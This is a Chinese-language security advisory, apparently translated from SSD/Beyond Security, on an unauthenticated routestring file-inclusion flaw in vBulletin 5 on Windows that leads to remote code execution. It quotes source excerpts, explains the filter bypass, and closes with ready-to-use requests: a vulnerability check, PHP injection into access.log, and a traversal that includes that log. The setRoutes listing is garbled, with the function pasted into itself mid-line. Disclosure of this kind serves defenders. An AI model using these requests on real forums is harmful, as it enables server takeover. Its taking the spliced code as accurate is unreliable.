SSD安全公告-vBulletin routestring未经验证的远程代码执行

漏洞概要
以下安全公告描述了在vBulletin5中发现的一个未经身份验证的文件包含漏洞,成功利用该漏洞可造成远程代码执行。

vBulletin也称为vB,由vBulletin Solutions公司基于PHP和MySQL开发,广泛用于搭建网络论坛。 vBulletin为许多网络大型的社交网站提供技术支持,数量超过10万,其中包括财富500强和Alexa Top 1M公司的网站和论坛。根据最新的W3Techs1统计,vBulletin 4拥有超过55%的vBulletin市场份额,而vBulletin 3和vBulletin 5则占剩下的45%。
漏洞提交者
一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
自2017年11月21日起,我们多次尝试联系vBulletin,但是暂时没有得到回复。目前,漏洞暂时还没有解决方案。
漏洞详细信息
vBulletin存在一个漏洞,导致远程攻击者可以从vBulletin服务器中包含任意文件并执行PHP代码。
未经身份验证的用户可以向/index.php发送GET请求,然后使用参数routestring =触发文件包含漏洞。
该请求允许攻击者向安装在Windows操作系统上的Vbulletin服务器创建精心制作的请求,并在Web服务器上包含任意文件。
/index.php 部分代码:

/* 48 */ $app = vB5_Frontend_Application::init('config.php');
/* 49 */ //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini
/* 50 */ //file to catch these situations.
/* 51 */ // We report all errors here because we have to make Application Notice free
/* 52 */ error_reporting(E_ALL | E_STRICT);
/* 53 */
/* 54 */ $config = vB5_Config::instance();
/* 55 */ if (!$config->report_all_php_errors) {
/* 56 */  // Note that E_STRICT became part of E_ALL in PHP 5.4
/* 57 */  error_reporting(E_ALL & ~(E_NOTICE | E_STRICT));
/* 58 */ }
/* 59 */
/* 60 */ $routing = $app->getRouter();
/* 61 */ $method = $routing->getAction();
/* 62 */ $template = $routing->getTemplate();
/* 63 */ $class = $routing->getControllerClass();
/* 64 */
/* 65 */ if (!class_exists($class))
/* 66 */ {
/* 67 */  // @todo - this needs a proper error message
/* 68 */  die("Couldn't find controller file for $class");
/* 69 */ }
/* 70 */
/* 71 */ vB5_Frontend_ExplainQueries::initialize();
/* 72 */ $c = new $class($template);
/* 73 */
/* 74 */ call_user_func_array(array(&$c, $method), $routing->getArguments());
/* 75 */
/* 76 */ vB5_Frontend_ExplainQueries::finish();

让我们仔细看看vB5_Frontend_Application :: init — /includes/vb5/frontend/application.php部分代码:

/* 15 */   public static function init($configFile)
/* 16 */    {
/* 17 */       parent::init($configFile);
/* 18 */
/* 19 */       self::$instance = new vB5_Frontend_Application();
/* 20 */       self::$instance->router = new vB5_Frontend_Routing();
/* 21 */       self::$instance->router->setRoutes();
/* ... */

我们可以看到setRoutes()被调用
/includes/vb5/frontend/routing.php部分代码:

/* 47 */      public function setRoutes()
/* 48 */      {
/* 49 */         $this->processQueryString();
/* 50 */
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
/* 53 */
/* 54 */         if (isset($_GET['routestring']))
/* 55 */         {
/* 56 */            $path = $_GET['routestring'];
/* ... */
/* 73 */         }
/* 74 */
/* 75 */         if (strlen($path) AND $path{0} == '/')
/* 76 */         {
/* 77 */            $path = substr($path, 1);
/* 78 */         }
/* 79 */
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them
/* 81 */         if (strlen($path) > 2 )
/* 82 */         {
/* 83 */            $ext = strtolower(substr($path, -4)) ;
/* 84 */            if (($ext == /* 47 */      public function setRoutes()
/* 48 */      {
/* 49 */         $this->processQueryString();
/* 50 */
/* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it
/* 52 */         //$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
/* 53 */
/* 54 */         if (isset($_GET['routestring']))
/* 55 */         {
/* 56 */            $path = $_GET['routestring'];
/* ... */
/* 73 */         }
/* 74 */
/* 75 */         if (strlen($path) AND $path{0} == '/')
/* 76 */         {
/* 77 */            $path = substr($path, 1);
/* 78 */         }
/* 79 */
/* 80 */         //If there is an invalid image, js, or css request we wind up here. We can't process any of them
/* 81 */         if (strlen($path) > 2 )
/* 82 */         {
/* 83 */            $ext = strtolower(substr($path, -4)) ;
/* 84 */            if (($ext == '.gif') OR ($ext == '.png') OR ($ext == '.jpg') OR ($ext == '.css')
/* 85 */               OR (strtolower(substr($path, -3)) == '.js') )
/* 86 */            {
/* 87 */               header("HTTP/1.0 404 Not Found");
/* 88 */               die('');
/* 89 */            }
/* 90 */         }
/* 91 */
/* 92 */         try
/* 93 */         {
/* 94 */            $message = ''; // Start with no error.
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));
/* 96 */         }
/* 97 */         catch (Exception $e)
/* 98 */         {
/* ... */
/* 106 */         }
/* ... */
/* 127 */         if (!empty($route))
/* 128 */         {
/* ... */
/* 188 */         }
/* 189 */         else
/* 190 */         {
/* 191 */            // if no route was matched, try to parse route as /controller/method
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));
/* ... */
/* 229 */         }
/* 230 */
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll
/* 233 */         //handle deeper paths via more standard routes.
/* 234 */         if (strpos($path, '/') === false)
/* 235 */         {
/* 236 */            $this->controller = 'relay';
/* 237 */            $this->action = 'legacy';
/* 238 */            $this->template = '';
/* 239 */            $this->arguments = array($path);
/* 240 */            $this->queryParameters = array();
/* 241 */            return;
/* 242 */         }
/* 243 */
/* 244 */         vB5_ApplicationAbstract::checkState();
/* 245 */
/* 246 */         throw new vB5_Exception_404("invalid_page_url");
/* 247 */      }   ) )
/* 86 */            {
/* 87 */               header("HTTP/1.0 404 Not Found");
/* 88 */               die('');
/* 89 */            }
/* 90 */         }
/* 92 */         try
/* 93 */         {
/* 94 */            $message = ''; // Start with no error.
/* 95 */            $route = Api_InterfaceAbstract::instance()->callApi('route', 'getRoute', array('pathInfo' => $path, 'queryString' => $_SERVER['QUERY_STRING']));
/* 96 */         }
/* 97 */         catch (Exception $e)
/* 98 */         {
/* ... */
/* 106 */         }
/* ... */
/* 127 */         if (!empty($route))
/* 128 */         {
/* ... */
/* 188 */         }
/* 189 */         else
/* 190 */         {
/* 191 */            // if no route was matched, try to parse route as /controller/method
/* 192 */            $stripped_path = preg_replace('/[^a-z0-9\/-_.]+/i', '', trim(strval($path), '/'));
/* ... */
/* 229 */         }
/* 230 */
/* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle
/* 232 */         //cases where this is not a valid file.  Only handle files in the "root directory".  We'll
/* 233 */         //handle deeper paths via more standard routes.
/* 234 */         if (strpos($path, '/') === false)
/* 235 */         {
/* 236 */            $this->controller = 'relay';
/* 237 */            $this->action = 'legacy';
/* 238 */            $this->template = '';
/* 239 */            $this->arguments = array($path);
/* 240 */            $this->queryParameters = array();
/* 241 */            return;
/* 242 */         }
/* … */       

因此,如果我们的字符串不以’.gif,‘.png’,’.jpg’,’.css’或者‘.js’结尾并且不包含’/’字符,vBulletin会从vB5_Frontend_Controller_Relay中调用legacy()
/includes/vb5/frontend/controller/relay.php部分代码:

/* 63 */   public function legacy($file)
/* 64 */   {
/* 65 */      $api = Api_InterfaceAbstract::instance();
/* 66 */      $api->relay($file);
/* 67 */   }

如果我们从Api_Interface_Collapsed类中检查relay()
/include/api/interface/collapsed.php部分代码:

/* 117 */   public function relay($file)
/* 118 */   {
/* 119 */      $filePath = vB5_Config::instance()->core_path . '/' . $file;
/* 120 */
/* 121 */      if ($file AND file_exists($filePath))
/* 122 */      {
/* 123 */         //hack because the admincp/modcp files won't return so the remaining processing in
/* 124 */         //index.php won't take place.  If we better integrate the admincp into the
/* 125 */         //frontend, we can (and should) remove this.
/* 126 */         vB_Shutdown::instance()->add(array('vB5_Frontend_ExplainQueries', 'finish'));
/* 127 */         require_once($filePath);
/* 128 */      }
/* ... */ 

正如我们所看到的,攻击者无法在$文件中使用“/”,所以不能在Linux上更改当前目录。但是对于Windows而言,可以使用’\’作为路径分隔符,通过PHP包含任意所需的文件(也可以使用’\ .. \’技巧)。

如果我们想包含扩展名为’.gif’,’.png’,’.jpg’,’.css’或’.js’这样的文件,需要绕过setRoutes()方法里面的过滤,绕过很容易,可以通过添加点(’.’)或空格(’%20’)到文件名来绕过。
完整的漏洞证明
我们可以通过发送下面的GET请求来检查服务器是否有漏洞:
/index.php?routestring=.\\
如果回显是:

那么服务器存在漏洞
如果我们想要在服务器上的任何文件中注入一个php代码,我们可以使用access.log例如:
/?LogINJ_START=< ?php phpinfo();?>LogINJ_END
之后,我们可以包含access.log与我们的PHP代码:
/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log